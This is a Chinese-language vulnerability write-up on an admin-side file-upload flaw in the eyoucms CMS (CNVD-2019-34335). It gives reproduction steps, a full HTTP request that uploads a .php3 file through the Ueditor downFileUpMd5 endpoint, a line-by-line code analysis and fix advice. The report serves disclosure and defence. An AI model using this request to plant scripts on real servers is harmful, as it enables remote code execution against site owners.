eyoucms后台文件上传漏洞(CNVD-2019-34335)
字数 746 2025-08-26 22:11:34
eyoucms后台文件上传漏洞(CNVD-2019-34335) 分析报告
漏洞概述
eyoucms内容管理系统存在后台文件上传漏洞,攻击者可通过精心构造的请求绕过文件类型限制,上传恶意文件(如PHP脚本)到服务器,可能导致远程代码执行。
漏洞编号
- CNVD-2019-34335
受影响版本
- 漏洞发现时的eyoucms版本(具体版本号未明确说明)
漏洞复现环境搭建
- 本地搭建eyoucms环境
- 将域名设置为
eyoucms.cn(测试环境)
漏洞利用步骤
1. 后台配置修改
- 登录eyoucms后台
- 进入"附件设置"
- 添加
php3到允许上传的文件后缀列表中
2. 构造恶意请求
使用BurpSuite发送以下HTTP请求:
GET /login.php?m=admin&c=Ueditor&a=downFileUpMd5&lang=cn&XDEBUG_SESSION_START=PHPSTORM&name=文件名.php3&type=application/x-zip-compressed&size=1 HTTP/1.1
Host: 域名
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.132 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: home_lang=cn; admin_lang=cn; PHPSESSID=id值 ENV_GOBACK_URL=%2Flogin.php%3Fm%3Dadmin%26c%3DArchives%26a%3Dindex_archives%26lang%3Dcn; ENV_LIST_URL=%2Flogin.php%3Fm%3Dadmin%26c%3DArchives%26a%3Dindex_archives%26lang%3Dcn; workspaceParam=web%7CSystem
Connection: close
Content-Length: 18
3. 漏洞原理分析
- 系统在
Ueditor控制器的downFileUpMd5方法中处理文件上传 - 第1045行代码获取允许上传的文件后缀类型,此时
php3已被添加到白名单 - 第1116行打开一个
{$filePath}.part的临时文件 - 第1152行读取攻击者输入的内容(如
phpinfo()) - 第1164行将内容写入临时文件
- 传输完成后进行重命名操作,去掉
.part后缀 - 最终导致恶意PHP文件被上传到服务器
4. 验证漏洞利用
在浏览器中访问上传的PHP文件,确认代码执行成功
修复建议
- 严格限制后台可配置的文件上传类型,禁止添加可执行脚本后缀
- 对上传文件进行双重验证,不仅检查扩展名,还应检查文件内容
- 限制上传文件的存储目录,禁止直接执行
- 更新到最新版本的eyoucms
补充说明
- 该漏洞需要后台管理员权限才能利用
- 官方下载地址:https://www.eyoucms.com/
- 该漏洞被认为是"鸡肋"漏洞,因为需要管理员权限才能利用